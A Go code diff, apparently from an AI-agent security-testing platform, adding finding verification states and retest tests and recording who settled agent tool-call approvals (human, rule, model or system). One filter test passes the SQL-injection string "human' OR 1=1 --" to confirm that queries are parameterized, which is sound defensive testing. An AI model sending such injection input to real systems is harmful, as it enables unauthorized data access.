func runRetest(t *testing.T, d *DB, fid int64, verdict, summary, finish string) int64 {
t.Helper()
ctx := t.Context()
r, c, _, err := d.CreateFindingRetest(ctx, fid, "")
if err != nil {
t.Fatal(err)
}
if ok, err := d.StartFindingRetest(ctx, r.ID); err != nil || !ok {
t.Fatalf("start retest: ok=%v err=%v", ok, err)
}
if verdict != "" {
if err := d.RecordFindingRetestResult(ctx, c.ID, verdict, summary, "retest evidence"); err != nil {
t.Fatal(err)
}
}
if err := d.FinishFindingRetest(r.ID, finish, ""); err != nil {
t.Fatal(err)
}
return r.ID
}
func verificationOf(t *testing.T, d *DB, fid int64) (status string, poe int, note string) {
t.Helper()
if err := d.QueryRow(`SELECT verification_status, poe_level, verification_note FROM findings WHERE id=$1`, fid).
Scan(&status, &poe, &note); err != nil {
t.Fatal(err)
}
return
}
func TestRetestReproducedVerifiesUnverifiedFinding(t *testing.T) {
d, fid := retestDB(t)
runRetest(t, d, fid, "reproduced", "still exploitable with the original PoC", "completed")
status, _, note := verificationOf(t, d, fid)
if status != VerificationVerified || !strings.Contains(note, "retest") || !strings.Contains(note, "reproduced") {
t.Fatalf("verification after reproduced: status=%s note=%q", status, note)
}
}
func TestRetestFixedVerifiesAndKeepsFixedStatus(t *testing.T) {
d, fid := retestDB(t)
runRetest(t, d, fid, "fixed", "payload now rejected, control still works", "completed")
status, _, note := verificationOf(t, d, fid)
if status != VerificationVerified || !strings.Contains(note, "retest") || !strings.Contains(note, "fixed") {
t.Fatalf("verification after fixed: status=%s note=%q", status, note)
}
f, err := d.GetFinding(fid)
if err != nil || f == nil {
t.Fatalf("get finding: %v", err)
}
if f.Status != FindingFixed {
t.Fatalf("human status after fixed retest = %q, want %q", f.Status, FindingFixed)
}
}
func TestRetestInconclusiveDoesNotDowngradeVerified(t *testing.T) {
d, fid := retestDB(t)
if err := d.SetFindingVerification(fid, VerificationVerified, 3, ""); err != nil {
t.Fatal(err)
}
runRetest(t, d, fid, "inconclusive", "target unreachable from the retest session", "completed")
status, poe, note := verificationOf(t, d, fid)
if status != VerificationVerified || poe != 3 || note != "" {
t.Fatalf("verified finding after inconclusive: status=%s poe=%d note=%q", status, poe, note)
}
}
func TestRetestFailedOrStoppedLeavesVerificationUnchanged(t *testing.T) {
for _, finish := range []string{"failed", "stopped"} {
t.Run(finish, func(t *testing.T) {
d, fid := retestDB(t)
if err := d.SetFindingVerification(fid, VerificationNotAssessed, 3, "earlier note"); err != nil {
t.Fatal(err)
}
// A verdict staged before the session was cut off must not count.
runRetest(t, d, fid, "reproduced", "staged before interruption", finish)
status, poe, note := verificationOf(t, d, fid)
if status != VerificationNotAssessed || poe != 3 || note != "earlier note" {
t.Fatalf("after %s: status=%s poe=%d note=%q", finish, status, poe, note)
}
})
}
}
func TestRetestUpgradesFromNotAssessedAndBlocked(t *testing.T) {
for _, from := range []string{VerificationNotAssessed, VerificationBlocked} {
t.Run(from, func(t *testing.T) {
d, fid := retestDB(t)
if err := d.SetFindingVerification(fid, from, 0, ""); err != nil {
t.Fatal(err)
}
runRetest(t, d, fid, "reproduced", "reproduced on retest", "completed")
if status, _, _ := verificationOf(t, d, fid); status != VerificationVerified {
t.Fatalf("from %s after reproduced: status=%s", from, status)
}
})
}
}
+50
View File
@@ -0,0 +1,50 @@
package db
import (
"fmt"
)
// Machine-checked verification state of a finding (S1). Kept apart from
// findings.status, which is the human disposition. Values are validated here
// (server-side), not by a CHECK constraint, like the other findings columns.
const (
VerificationVerified = "verified"
VerificationUnverified = "unverified"
VerificationBlocked = "blocked"
VerificationNotAssessed = "not_assessed"
VerificationFalsePositive = "false_positive"
)
// ValidVerificationStatus reports whether s is a known verification state.
func ValidVerificationStatus(s string) bool {
switch s {
case VerificationVerified, VerificationUnverified, VerificationBlocked,
VerificationNotAssessed, VerificationFalsePositive:
return true
}
return false
}
// SetFindingVerification records the verification state, POE level and note on
// the standalone findings row. It does not touch status, report or evidence.
func (d *DB) SetFindingVerification(findingID int64, status string, poe int, note string) error {
if !ValidVerificationStatus(status) {
return fmt.Errorf("invalid verification status %q", status)
}
if poe < 0 || poe > 4 {
return fmt.Errorf("invalid POE level %d (want 0-4)", poe)
}
res, err := d.Exec(`UPDATE findings SET verification_status=$2, poe_level=$3, verification_note=$4 WHERE id=$1`,
findingID, status, poe, note)
if err != nil {
return err
}
n, err := res.RowsAffected()
if err != nil {
return err
}
if n == 0 {
return ErrFindingNotFound
}
return nil
}
+29 -23
View File
@@ -20,20 +20,23 @@ type DBFinding struct {
ReportEvidenceVersion int64
TrafficBindings []FindingTrafficBinding // populated only for export
ID int64
TaskID *int64
NodeID *int64
VulnClass string
Name string // vulnerability name (readable title); when empty the frontend falls back to VulnClass
Severity string
Summary string
Evidence string
Worker string
AssetIDs []int64
Status string
Report string // detailed report (Markdown); only populated by GetFinding, not by list queries
CreatedAt time.Time
TaskDescription string // populated via LEFT JOIN on tasks
ID int64
TaskID *int64
NodeID *int64
VulnClass string
Name string // vulnerability name (readable title); when empty the frontend falls back to VulnClass
Severity string
Summary string
Evidence string
Worker string
AssetIDs []int64
Status string
PoELevel int // proof-of-exploitation level 0-4 (S1); 0 = none declared
VerificationStatus string // verified / unverified / blocked / not_assessed / false_positive
VerificationNote string // why the status was reached; empty when verified
Report string // detailed report (Markdown); only populated by GetFinding, not by list queries
CreatedAt time.Time
TaskDescription string // populated via LEFT JOIN on tasks
}
// Finding triage states (findings.status).
@@ -105,6 +108,7 @@ func (d *DB) AddFinding(taskID, nodeID int64, vulnclass, name, severity, summary
const findingSelectCols = `f.id, f.task_id, f.node_id, f.vulnclass, COALESCE(f.name, ''), f.severity, f.summary,
f.evidence, f.worker, f.asset_ids, COALESCE(f.status, 'pending'), f.created_at,
COALESCE(t.description, '') AS task_description, f.evidence_version, f.report_evidence_version,
f.poe_level, COALESCE(f.verification_status, 'unverified'), COALESCE(f.verification_note, ''),
(SELECT count(*) FROM finding_traffic_bindings b WHERE b.finding_id=f.id)`
// scanFindings materializes rows selected via findingSelectCols.
@@ -118,7 +122,7 @@ func scanFindings(rows interface {
f := &DBFinding{}
var aidsJSON string
if err := rows.Scan(&f.ID, &f.TaskID, &f.NodeID, &f.VulnClass, &f.Name, &f.Severity,
&f.Summary, &f.Evidence, &f.Worker, &aidsJSON, &f.Status, &f.CreatedAt, &f.TaskDescription, &f.EvidenceVersion, &f.ReportEvidenceVersion, &f.TrafficCount); err != nil {
&f.Summary, &f.Evidence, &f.Worker, &aidsJSON, &f.Status, &f.CreatedAt, &f.TaskDescription, &f.EvidenceVersion, &f.ReportEvidenceVersion, &f.PoELevel, &f.VerificationStatus, &f.VerificationNote, &f.TrafficCount); err != nil {
return nil, err
}
_ = json.Unmarshal([]byte(aidsJSON), &f.AssetIDs)
@@ -150,12 +154,13 @@ func (d *DB) ListFindings(limit int) ([]*DBFinding, error) {
// filter on that column". Sort is "severity" (severity desc, then newest) or
// anything else (newest first).
type FindingFilter struct {
Severity string // high | medium | low
Status string // pending | false_positive | ignored | resolved
VulnClass string
TaskID string // task id (in string form; empty/invalid = do not filter by task)
Query string // fuzzy search keyword over name/class/summary/evidence/report body
Sort string // "severity" | "time"
Severity string // high | medium | low
Status string // pending | false_positive | ignored | resolved
VerificationStatus string // verified | unverified | blocked | not_assessed | false_positive
VulnClass string
TaskID string // task id (in string form; empty/invalid = do not filter by task)
Query string // fuzzy search keyword over name/class/summary/evidence/report body
Sort string // "severity" | "time"
// AssetScope is a node key of the asset tree (a:<id> / c:<id> / r:<domain> /
// __none__); selecting a node means selecting its whole subtree.
// Empty = do not filter by asset.
@@ -188,6 +193,7 @@ func (f FindingFilter) where() (string, []any) {
}
add("severity", f.Severity)
add("status", f.Status)
add("verification_status", f.VerificationStatus)
add("vulnclass", f.VulnClass)
// task_id is a bigint column, compared as an integer (it cannot go through
// the text add above); empty/invalid values are ignored.
@@ -519,7 +525,7 @@ func (d *DB) ListFindingsForExport(f FindingFilter, ids []int64) ([]*DBFinding,
var aidsJSON string
if err := rows.Scan(&f.ID, &f.TaskID, &f.NodeID, &f.VulnClass, &f.Name, &f.Severity,
&f.Summary, &f.Evidence, &f.Worker, &aidsJSON, &f.Status, &f.CreatedAt,
&f.TaskDescription, &f.EvidenceVersion, &f.ReportEvidenceVersion, &f.TrafficCount, &f.Report); err != nil {
&f.TaskDescription, &f.EvidenceVersion, &f.ReportEvidenceVersion, &f.PoELevel, &f.VerificationStatus, &f.VerificationNote, &f.TrafficCount, &f.Report); err != nil {
return nil, err
}
_ = json.Unmarshal([]byte(aidsJSON), &f.AssetIDs)
@@ -649,7 +655,7 @@ func (d *DB) GetFinding(id int64) (*DBFinding, error) {
WHERE f.id = $1`, id).Scan(
&f.ID, &f.TaskID, &f.NodeID, &f.VulnClass, &f.Name, &f.Severity,
&f.Summary, &f.Evidence, &f.Worker, &aidsJSON, &f.Status, &f.CreatedAt,
&f.TaskDescription, &f.EvidenceVersion, &f.ReportEvidenceVersion, &f.TrafficCount, &f.Report)
&f.TaskDescription, &f.EvidenceVersion, &f.ReportEvidenceVersion, &f.PoELevel, &f.VerificationStatus, &f.VerificationNote, &f.TrafficCount, &f.Report)
if err == sql.ErrNoRows {
return nil, nil
}
+45 -11
View File
@@ -27,6 +27,8 @@ type InterceptRule struct {
}
// InterceptPending is one row of intercept_pending.
// DecidedBy is the actor that settled the request: "" while pending, otherwise
// human | rule | model | system (timeouts and cancellations).
type InterceptPending struct {
ID int64 `json:"id"`
RuleID *int64 `json:"rule_id"`
@@ -37,7 +39,8 @@ type InterceptPending struct {
ToolInput json.RawMessage `json:"tool_input"`
Status string `json:"status"`
DecisionSource string `json:"decision_source"`
Reason string `json:"reason"` // rule message or model decision reason (prefixed with [Model])
DecidedBy string `json:"decided_by"`
Reason string `json:"reason"` // rule message or model decision reason (prefixed with ModelReasonPrefix)
DecidedAt *time.Time `json:"decided_at"`
CreatedAt time.Time `json:"created_at"`
}
@@ -163,19 +166,25 @@ func (d *DB) CreateDecidedIntercept(ruleID, convID int64, taskID, agentName, too
if ruleID != 0 {
ruleIDPtr = &ruleID
}
// Rows logged here were settled without a human: by the matching rule, or by
// the model judge when no rule owns the decision.
decidedBy := "model"
if ruleID != 0 {
decidedBy = "rule"
}
var id int64
err := d.QueryRow(`
INSERT INTO intercept_pending(rule_id, conversation_id, task_id, agent_name, tool_name, tool_input, status, reason, decided_at, decision_source, audit)
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, NOW(), $9, $10) RETURNING id`,
ruleIDPtr, convIDPtr, taskIDPtr, agentName, toolName, raw, status, reason, interceptSource(ruleID, reason), firstAudit(audits)).Scan(&id)
INSERT INTO intercept_pending(rule_id, conversation_id, task_id, agent_name, tool_name, tool_input, status, reason, decided_at, decision_source, audit, decided_by)
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, NOW(), $9, $10, $11) RETURNING id`,
ruleIDPtr, convIDPtr, taskIDPtr, agentName, toolName, raw, status, reason, interceptSource(ruleID, reason), firstAudit(audits), decidedBy).Scan(&id)
return id, err
}
const interceptPendingCols = `id, rule_id, conversation_id, task_id, agent_name, tool_name, tool_input, status, reason, decided_at, created_at, decision_source`
const interceptPendingCols = `id, rule_id, conversation_id, task_id, agent_name, tool_name, tool_input, status, reason, decided_at, created_at, decision_source, decided_by`
func scanInterceptPending(s interface{ Scan(...any) error }, p *InterceptPending) error {
return s.Scan(&p.ID, &p.RuleID, &p.ConversationID, &p.TaskID, &p.AgentName,
&p.ToolName, &p.ToolInput, &p.Status, &p.Reason, &p.DecidedAt, &p.CreatedAt, &p.DecisionSource)
&p.ToolName, &p.ToolInput, &p.Status, &p.Reason, &p.DecidedAt, &p.CreatedAt, &p.DecisionSource, &p.DecidedBy)
}
// ListPendingIntercepts returns all unresolved approval requests, newest first.
@@ -221,17 +230,37 @@ func scanInterceptApprovalRow(rows interface{ Scan(...any) error }, r *Intercept
return rows.Scan(
&r.ID, &r.RuleID, &r.ConversationID, &r.TaskID, &r.AgentName,
&r.ToolName, &r.ToolInput, &r.Status, &r.Reason, &r.DecidedAt, &r.CreatedAt,
&r.DecisionSource, &r.ConvTitle, &r.ConvAgentKey, &r.RuleName,
&r.DecisionSource, &r.DecidedBy, &r.ConvTitle, &r.ConvAgentKey, &r.RuleName,
)
}
// ModelReasonPrefix starts every reason written by the LLM fallback judge
// (intercept.JudgeReason); readers derive decision_source='model' from it.
const ModelReasonPrefix = "[model]"
// legacyModelReasonPrefix is what the judge wrote before the UI translation (e233c02).
const legacyModelReasonPrefix = "[模型]"
// isModelReason reports whether reason was written by the model judge. The
// comparison ignores case: readers used to expect "[Model]" while the writer
// produced "[model]", so stored rows may carry either spelling.
func isModelReason(reason string) bool {
return strings.HasPrefix(strings.ToLower(reason), ModelReasonPrefix) ||
strings.HasPrefix(reason, legacyModelReasonPrefix)
}
// Keep legacy rows without decision_source consistent with their displayed source.
// Mirrors isModelReason; PostgreSQL LIKE is case-sensitive and '[' is literal.
const approvalDecisionSource = `COALESCE(NULLIF(ip.decision_source,''), CASE
WHEN ip.rule_id IS NOT NULL THEN 'rule'
WHEN ip.reason LIKE '[Model]%' THEN 'model' ELSE 'unknown' END)`
WHEN lower(ip.reason) LIKE '` + ModelReasonPrefix + `%' OR ip.reason LIKE '` + legacyModelReasonPrefix + `%' THEN 'model' ELSE 'unknown' END)`
// decided_by is returned exactly as stored, never merged with decision_source:
// rows decided before the column existed keep it empty, so the displayed value
// is always the one the decided_by filter matches.
const approvalRowColumns = `ip.id, ip.rule_id, ip.conversation_id, ip.task_id, ip.agent_name,
ip.tool_name, ip.tool_input, ip.status, ip.reason, ip.decided_at, ip.created_at, ` + approvalDecisionSource + `,
ip.decided_by,
COALESCE(c.title,'') AS conv_title,
COALESCE(c.agent_key,'') AS conv_agent_key,
COALESCE(ir.name,'') AS rule_name`
@@ -248,7 +277,7 @@ func interceptSource(ruleID int64, reason string) string {
if ruleID != 0 {
return "rule"
}
if strings.HasPrefix(reason, "[Model]") {
if isModelReason(reason) {
return "model"
}
return "unknown"
@@ -284,11 +313,12 @@ func (d *DB) ListAllIntercepts(limit int) ([]InterceptApprovalRow, error) {
return out, rows.Err()
}
// InterceptApprovalFilter combines exact status and decision-source filters.
// Empty fields include all values.
// InterceptApprovalFilter combines exact status, decision-source and
// deciding-actor filters. Empty fields include all values.
type InterceptApprovalFilter struct {
Status string
DecisionSource string
DecidedBy string
}
// ListAllInterceptsPage returns one 1-based page and the total matching count.
@@ -342,6 +372,10 @@ func (d *DB) listInterceptsPage(taskID string, page, size int, filter InterceptA
add("ip.task_id", taskID)
add("ip.status", filter.Status)
add(approvalDecisionSource, filter.DecisionSource)
// Stored actor only, the same value the rows display: deriving it from
// decision_source would let decided_by=model match human decisions and
// timeouts recorded before the column existed.
add("ip.decided_by", filter.DecidedBy)
where := ""
if len(conditions) > 0 {
where = " WHERE " + strings.Join(conditions, " AND ")
+169
View File
@@ -0,0 +1,169 @@
package db
import (
"slices"
"testing"
)
// The actor whitelist is enforced in Go (there is no SQL CHECK). It must reject
// before touching the database, so this runs without Postgres.
func TestResolveInterceptRejectsUnknownActor(t *testing.T) {
d := &DB{}
for _, actor := range []string{"", "unknown", "Human", "admin"} {
if ok, err := d.ResolveIntercept(1, "allowed", "allow", "fixture", actor); err == nil || ok {
t.Fatalf("decided_by %q accepted: ok=%t err=%v", actor, ok, err)
}
}
}
func TestInterceptDecidedBy(t *testing.T) {
d, err := Open(testDSN(t))
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = d.Close() })
scope := "approval-decided-by"
t.Cleanup(func() { _, _ = d.Exec(`DELETE FROM intercept_pending WHERE task_id=$1`, scope) })
rule, err := d.CreateInterceptRule("decided-by fixture", "tool_name", "string", "Bash", "deny", "fixture", 1, false, false, 0, "deny")
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _, _ = d.Exec(`DELETE FROM intercept_rules WHERE id=$1`, rule.ID) })
input := []byte(`{"command":"fixture"}`)
decided := func(ruleID int64, status, reason string) int64 {
t.Helper()
id, err := d.CreateDecidedIntercept(ruleID, 0, scope, "test", "Bash", input, status, reason)
if err != nil {
t.Fatal(err)
}
return id
}
asked := func() int64 {
t.Helper()
id, err := d.CreateInterceptPending(0, 0, scope, "test", "Bash", input, ModelReasonPrefix+" confirm")
if err != nil {
t.Fatal(err)
}
return id
}
resolved := func(status, action, reason, actor string) int64 {
t.Helper()
id := asked()
if ok, err := d.ResolveIntercept(id, status, action, reason, actor); err != nil || !ok {
t.Fatalf("resolve %s/%s: ok=%t err=%v", status, actor, ok, err)
}
return id
}
ruleID := decided(rule.ID, "denied", "fixture")
modelID := decided(0, "allowed", ModelReasonPrefix+" fixture")
pendingID := asked()
humanAllowID := resolved("allowed", "allow", "user approved execution", "human")
humanDenyID := resolved("denied", "deny", "user rejected execution", "human")
timeoutID := resolved("timeout", "deny", "approval timed out, applying timeout policy", "system")
// A cancellation is a system refusal even though its status is 'denied'.
cancelledID := resolved("denied", "deny", "work cancelled", "system")
want := map[int64]string{
ruleID: "rule", modelID: "model", pendingID: "",
humanAllowID: "human", humanDenyID: "human",
timeoutID: "system", cancelledID: "system",
}
for id, actor := range want {
stored, err := d.GetInterceptPending(id)
if err != nil || stored == nil || stored.DecidedBy != actor {
t.Fatalf("stored decided_by for %d: %+v err=%v, want %q", id, stored, err, actor)
}
detail, err := d.GetInterceptDetail(id)
if err != nil || detail == nil || detail.DecidedBy != actor {
t.Fatalf("detail decided_by for %d: %+v err=%v, want %q", id, detail, err, actor)
}
}
rows, err := d.ListTaskIntercepts(scope)
if err != nil || len(rows) != len(want) {
t.Fatalf("list: %d rows err=%v", len(rows), err)
}
for _, r := range rows {
if r.DecidedBy != want[r.ID] {
t.Fatalf("listed decided_by for %d = %q, want %q", r.ID, r.DecidedBy, want[r.ID])
}
}
// A rejected actor must leave the request pending and unattributed.
if ok, err := d.ResolveIntercept(pendingID, "allowed", "allow", "fixture", "admin"); err == nil || ok {
t.Fatalf("invalid actor resolved the request: ok=%t err=%v", ok, err)
}
if p, err := d.GetInterceptPending(pendingID); err != nil || p.Status != "pending" || p.DecidedBy != "" {
t.Fatalf("pending row changed: %+v err=%v", p, err)
}
filtered := func(filter InterceptApprovalFilter) []int64 {
t.Helper()
rows, total, err := d.ListTaskInterceptsPage(scope, 1, 100, filter)
if err != nil || total != len(rows) {
t.Fatalf("filter %+v: total=%d rows=%d err=%v", filter, total, len(rows), err)
}
ids := []int64{}
for _, r := range rows {
ids = append(ids, r.ID)
}
slices.Sort(ids)
return ids
}
for _, tc := range []struct {
filter InterceptApprovalFilter
want []int64
}{
// Neither the human decisions nor the timeout of a model-raised ask.
{InterceptApprovalFilter{DecidedBy: "model"}, []int64{modelID}},
{InterceptApprovalFilter{DecidedBy: "rule"}, []int64{ruleID}},
{InterceptApprovalFilter{DecidedBy: "human"}, []int64{humanAllowID, humanDenyID}},
{InterceptApprovalFilter{DecidedBy: "system"}, []int64{timeoutID, cancelledID}},
{InterceptApprovalFilter{Status: "denied", DecidedBy: "human"}, []int64{humanDenyID}},
{InterceptApprovalFilter{Status: "denied", DecidedBy: "system"}, []int64{cancelledID}},
{InterceptApprovalFilter{DecidedBy: "human' OR 1=1 --"}, []int64{}},
} {
if got := filtered(tc.filter); !slices.Equal(got, tc.want) {
t.Fatalf("filter %+v: got %v want %v", tc.filter, got, tc.want)
}
}
// Rows decided before the column existed: decided_by stays empty everywhere it
// is read, decision_source keeps its own column, nothing is rewritten, and no
// decided_by filter matches them.
if _, err := d.Exec(`UPDATE intercept_pending SET decided_by='' WHERE id IN ($1,$2,$3)`, ruleID, modelID, timeoutID); err != nil {
t.Fatal(err)
}
legacy := map[int64]string{ruleID: "rule", modelID: "model", timeoutID: "model"}
for id, source := range legacy {
detail, err := d.GetInterceptDetail(id)
if err != nil || detail == nil || detail.DecidedBy != "" || detail.DecisionSource != source {
t.Fatalf("legacy detail for %d: %+v err=%v, want decided_by \"\" and decision_source %q", id, detail, err, source)
}
stored, err := d.GetInterceptPending(id)
if err != nil || stored == nil || stored.DecidedBy != "" {
t.Fatalf("legacy row %d rewritten: %+v err=%v", id, stored, err)
}
}
rows, err = d.ListTaskIntercepts(scope)
if err != nil {
t.Fatal(err)
}
for _, r := range rows {
if source, ok := legacy[r.ID]; ok && (r.DecidedBy != "" || r.DecisionSource != source) {
t.Fatalf("legacy list row %d: decided_by=%q decision_source=%q, want \"\" and %q", r.ID, r.DecidedBy, r.DecisionSource, source)
}
}
for _, actor := range []string{"human", "rule", "model", "system"} {
for _, id := range filtered(InterceptApprovalFilter{DecidedBy: actor}) {
if _, ok := legacy[id]; ok {
t.Fatalf("legacy row %d matched decided_by=%s", id, actor)
}
}
}
// decision_source still finds them through its own filter.
if got := filtered(InterceptApprovalFilter{DecisionSource: "rule"}); !slices.Contains(got, ruleID) {
t.Fatalf("legacy rule row missing from decision_source=rule: %v", got)
}
}
+12 -4
View File
@@ -3,6 +3,7 @@ package db
import (
"database/sql"
"encoding/json"
"fmt"
"time"
)
@@ -55,7 +56,7 @@ func (d *DB) GetInterceptDetail(id int64) (*InterceptDetail, error) {
err := d.QueryRow(approvalRowSelectWithAudit+` WHERE ip.id=$1`, id).Scan(
&out.ID, &out.RuleID, &out.ConversationID, &out.TaskID, &out.AgentName,
&out.ToolName, &out.ToolInput, &out.Status, &out.Reason, &out.DecidedAt, &out.CreatedAt,
&out.DecisionSource, &out.ConvTitle, &out.ConvAgentKey, &out.RuleName, &raw,
&out.DecisionSource, &out.DecidedBy, &out.ConvTitle, &out.ConvAgentKey, &out.RuleName, &raw,
)
if err == sql.ErrNoRows {
return nil, nil
@@ -73,7 +74,14 @@ func (d *DB) GetInterceptDetail(id int64) (*InterceptDetail, error) {
// ResolveIntercept atomically settles a pending request. A timeout cannot
// overwrite a human decision and repeat decisions cannot rewrite history.
func (d *DB) ResolveIntercept(id int64, status, action, reason string) (bool, error) {
// decidedBy records the settling actor (human | rule | model | system); it is
// supplied by the caller because status alone cannot tell them apart.
func (d *DB) ResolveIntercept(id int64, status, action, reason, decidedBy string) (bool, error) {
switch decidedBy {
case "human", "rule", "model", "system":
default:
return false, fmt.Errorf("decided_by must be human, rule, model or system, got %q", decidedBy)
}
execution := "not_executed"
if action == "allow" {
execution = "awaiting_result"
@@ -84,11 +92,11 @@ func (d *DB) ResolveIntercept(id int64, status, action, reason string) (bool, er
if err != nil {
return false, err
}
r, err := d.Exec(`UPDATE intercept_pending SET status=$2, decided_at=NOW(),
r, err := d.Exec(`UPDATE intercept_pending SET status=$2, decided_at=NOW(), decided_by=$5,
audit=CASE WHEN audit IS NULL THEN NULL ELSE audit || $3::jsonb ||
CASE WHEN $4='allow' AND audit->>'correlation' IS DISTINCT FROM 'exact'
THEN '{"execution_status":"unknown"}'::jsonb ELSE '{}'::jsonb END END
WHERE id=$1 AND status='pending'`, id, status, patch, action)
WHERE id=$1 AND status='pending'`, id, status, patch, action, decidedBy)
if err != nil {
return false, err
}
+10 -8
View File
@@ -49,7 +49,7 @@ func TestInterceptDetails(t *testing.T) {
var wg sync.WaitGroup
for range 8 {
wg.Go(func() {
ok, err := d.ResolveIntercept(id, "allowed", "allow", "allowed manually")
ok, err := d.ResolveIntercept(id, "allowed", "allow", "allowed manually", "human")
if err != nil {
t.Error(err)
}
@@ -62,7 +62,7 @@ func TestInterceptDetails(t *testing.T) {
if wins.Load() != 1 {
t.Fatalf("%d decisions won", wins.Load())
}
ok, err := d.ResolveIntercept(id, "timeout", "deny", "late timeout")
ok, err := d.ResolveIntercept(id, "timeout", "deny", "late timeout", "system")
if err != nil || ok {
t.Fatal("timeout overwrote decision")
}
@@ -90,7 +90,7 @@ func TestInterceptDetails(t *testing.T) {
})
t.Run("denied output and timeout allow", func(t *testing.T) {
id := create(t, &InterceptAudit{RunID: "run", ToolUseID: "call", ExecutionStatus: "not_started"})
if _, err := d.ResolveIntercept(id, "denied", "deny", "denied manually"); err != nil {
if _, err := d.ResolveIntercept(id, "denied", "deny", "denied manually", "human"); err != nil {
t.Fatal(err)
}
if err := d.CompleteIntercept(id, "run", "call", "failed", "Blocked by hook", false); err != nil {
@@ -101,7 +101,7 @@ func TestInterceptDetails(t *testing.T) {
t.Fatal("denial presented as executed")
}
id = create(t, &InterceptAudit{RunID: "run2", ToolUseID: "call2", Correlation: "exact", InitialAction: "ask"})
if _, err := d.ResolveIntercept(id, "timeout", "allow", "timeout allow"); err != nil {
if _, err := d.ResolveIntercept(id, "timeout", "allow", "timeout allow", "system"); err != nil {
t.Fatal(err)
}
if err := d.CompleteIntercept(id, "run2", "call2", "succeeded", "ok", false); err != nil {
@@ -126,6 +126,7 @@ func TestInterceptDetails(t *testing.T) {
if legacy {
delete(row, "audit")
delete(row, "decision_source")
delete(row, "decided_by")
}
archived, _ := json.Marshal([]map[string]any{row})
tx, err := d.Begin()
@@ -139,13 +140,14 @@ func TestInterceptDetails(t *testing.T) {
if err := restoreInterceptRows(tx, archived); err != nil {
t.Fatalf("legacy=%t: %v", legacy, err)
}
var status, source string
var status, source, decidedBy string
var auditJSON []byte
if err := tx.QueryRow(`SELECT status, decision_source, audit FROM intercept_pending WHERE id=$1`, id).Scan(&status, &source, &auditJSON); err != nil {
if err := tx.QueryRow(`SELECT status, decision_source, decided_by, audit FROM intercept_pending WHERE id=$1`, id).Scan(&status, &source, &decidedBy, &auditJSON); err != nil {
t.Fatal(err)
}
if status != "timeout" || source != "model" {
t.Fatalf("restored %s/%s", status, source)
// The restore itself times the request out: a system decision.
if status != "timeout" || source != "model" || decidedBy != "system" {
t.Fatalf("restored %s/%s/%s", status, source, decidedBy)
}
if legacy && len(auditJSON) > 0 {
t.Fatal("fabricated legacy audit")
+1 -1
View File
@@ -38,7 +38,7 @@ func TestInterceptApprovalFilters(t *testing.T) {
ruleID = rule.ID
}
if source == "model" {
reason = "[Model] fixture"
reason = ModelReasonPrefix + " fixture"
}
id, err := d.CreateDecidedIntercept(ruleID, 0, task, "test", "Bash", []byte(`{"command":"fixture"}`), status, reason)
if err != nil {
+37
View File
@@ -0,0 +1,37 @@
package db_test
import (
"testing"
"github.com/Autumn-27/artex/db"
"github.com/Autumn-27/artex/intercept"
)
// The judge writer (package intercept) and the decision_source readers (package
// db) must agree on the reason prefix; this pins them together without Postgres.
func TestInterceptSourceMatchesJudgeWriter(t *testing.T) {
for _, tc := range []struct{ action, message string }{
{"allow", ""},
{"deny", "destructive command outside the workspace"},
{"ask", db.ModelReasonPrefix + " already prefixed"},
} {
reason := intercept.JudgeReason(tc.action, tc.message)
if got := db.InterceptSource(0, reason); got != "model" {
t.Fatalf("JudgeReason(%q, %q) = %q classified as %q, want model", tc.action, tc.message, reason, got)
}
}
}
func TestInterceptSourceLegacyModelPrefix(t *testing.T) {
for _, reason := range []string{"[模型] 允许", "[Model] fixture"} {
if got := db.InterceptSource(0, reason); got != "model" {
t.Fatalf("%q classified as %q, want model", reason, got)
}
}
if got := db.InterceptSource(0, "legacy reason"); got != "unknown" {
t.Fatalf("plain reason classified as %q, want unknown", got)
}
if got := db.InterceptSource(7, "[model] rule wins"); got != "rule" {
t.Fatalf("rule row classified as %q, want rule", got)
}
}
+28 -5
View File
@@ -363,7 +363,7 @@ CREATE TABLE IF NOT EXISTS settings (
CREATE TABLE IF NOT EXISTS llm_profiles (
id BIGSERIAL PRIMARY KEY,
name TEXT NOT NULL UNIQUE,
format TEXT NOT NULL CHECK (format IN ('openai','anthropic','openai-responses')),
format TEXT NOT NULL CHECK (format IN ('openai','anthropic','openai-responses','ollama')),
base_url TEXT,
proxy TEXT,
model TEXT NOT NULL,
@@ -396,6 +396,8 @@ CREATE TABLE IF NOT EXISTS llm_profiles (
-- Custom session header: when non-empty, every request carries an HTTP header of this name whose value is the current session id
-- (chat session/worker intent). For gateways that do prompt caching/sticky routing by a session-id header. ''=do not send.
session_header_key TEXT NOT NULL DEFAULT '',
-- Custom User-Agent: when non-empty, every outbound LLM request overrides the User-Agent header with this value. ''=do not override (keep the default UA).
user_agent TEXT NOT NULL DEFAULT '',
-- Retry overrides: attempts 0=use global default / -1=disable / >0=use this value; interval 0=use default exponential backoff / >0=fixed milliseconds.
-- The three groups correspond to connect retry, empty-response retry, and same-provider safe-window retry; see the ALTER comment below.
retry_connect_attempts INTEGER NOT NULL DEFAULT 0,
@@ -416,11 +418,12 @@ ALTER TABLE llm_profiles ADD COLUMN IF NOT EXISTS priority INTEGER NOT NULL
ALTER TABLE llm_profiles ADD COLUMN IF NOT EXISTS pool_exclude BOOLEAN NOT NULL DEFAULT false;
-- Streaming toggle; backfills old databases. Default true = keep existing streaming behavior; old configs upgrade transparently.
ALTER TABLE llm_profiles ADD COLUMN IF NOT EXISTS streaming BOOLEAN NOT NULL DEFAULT true;
-- Relax the format constraint to allow openai-responses (OpenAI Responses API); backfills old databases.
-- Runs at every startup, idempotent: drop the old CHECK first, then create the new three-value CHECK.
-- Relax the format constraint to allow openai-responses (OpenAI Responses API) and
-- ollama (local Ollama server, keyless OpenAI-compatible endpoint); backfills old databases.
-- Runs at every startup, idempotent: drop the old CHECK first, then create the new four-value CHECK.
ALTER TABLE llm_profiles DROP CONSTRAINT IF EXISTS llm_profiles_format_check;
ALTER TABLE llm_profiles ADD CONSTRAINT llm_profiles_format_check
CHECK (format IN ('openai','anthropic','openai-responses'));
CHECK (format IN ('openai','anthropic','openai-responses','ollama'));
-- Output cap and its field name; backfills old databases. Defaults 0 / '' = send no cap and keep the max_tokens field name;
-- old configs behave exactly as before.
@@ -435,6 +438,8 @@ ALTER TABLE llm_profiles ADD CONSTRAINT llm_profiles_max_tokens_check
CHECK (max_tokens >= 0);
